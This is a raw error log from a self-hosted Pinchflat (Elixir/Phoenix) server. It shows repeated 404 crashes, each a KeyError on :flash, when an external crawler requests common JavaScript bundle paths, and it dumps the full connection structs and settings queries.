PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /vendor (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9633.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/vendor.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35262}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9634.0>, params: %{}, path_info: ["vendor"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/vendor.js", resp_body: nil, resp_cookies: %{}, r (truncated) 15:21:50.012 [info] GET /chunk.js 15:21:50.013 [debug] QUERY OK source="settings" db=0.1ms idle=471.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:50.013 [debug] QUERY OK source="settings" db=0.0ms idle=242.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:50.013 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:50.013 [error] #PID<0.9636.0> running PinchflatWeb.Endpoint (connection #PID<0.9635.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /chunk.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /chunk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9635.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/chunk.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50360}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9636.0>, params: %{}, path_info: ["chunk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/chunk.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDA5aVV-MrMe8AAIVD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9635.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/chunk.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50360}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /chunk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9635.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/chunk.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50360}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9636.0>, params: %{}, path_info: ["chunk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/chunk.js", resp_body: nil, resp_cookies: %{}, resp_header (truncated) 15:21:50.250 [info] GET /static/js/main.js 15:21:50.250 [debug] QUERY OK source="settings" db=0.1ms idle=479.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:50.250 [debug] QUERY OK source="settings" db=0.0ms idle=472.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:50.250 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:50.251 [error] #PID<0.9638.0> running PinchflatWeb.Endpoint (connection #PID<0.9637.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /static/js/main.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /static/js/main (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9637.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static/js/main.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50376}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9638.0>, params: %{}, path_info: ["static", "js", "main"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/static/js/main.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDA6TAcIEE6j8AAIWD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9637.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static/js/main.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50376}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /static/js/main (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9637.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static/js/main.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50376}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9638.0>, params: %{}, path_info: ["static", "js", "main"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_pa (truncated) 15:21:50.488 [info] GET /static/js/app.js 15:21:50.489 [debug] QUERY OK source="settings" db=0.1ms idle=710.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:50.489 [debug] QUERY OK source="settings" db=0.0ms idle=476.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:50.489 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:50.489 [error] #PID<0.9640.0> running PinchflatWeb.Endpoint (connection #PID<0.9639.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /static/js/app.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /static/js/app (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9639.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static/js/app.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50378}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9640.0>, params: %{}, path_info: ["static", "js", "app"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/static/js/app.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDA7L0thx00cgAAcWC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9639.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static/js/app.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50378}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /static/js/app (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9639.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static/js/app.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50378}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9640.0>, params: %{}, path_info: ["static", "js", "app"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/sta (truncated) 15:21:50.726 [info] GET /static/js/bundle.js 15:21:50.727 [debug] QUERY OK source="settings" db=0.2ms idle=476.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:50.727 [debug] QUERY OK source="settings" db=0.0ms idle=476.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:50.727 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:50.727 [error] #PID<0.9642.0> running PinchflatWeb.Endpoint (connection #PID<0.9641.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /static/js/bundle.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /static/js/bundle (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9641.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static/js/bundle.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50390}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9642.0>, params: %{}, path_info: ["static", "js", "bundle"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/static/js/bundle.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDA8EjzfH4ctwAAcXC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 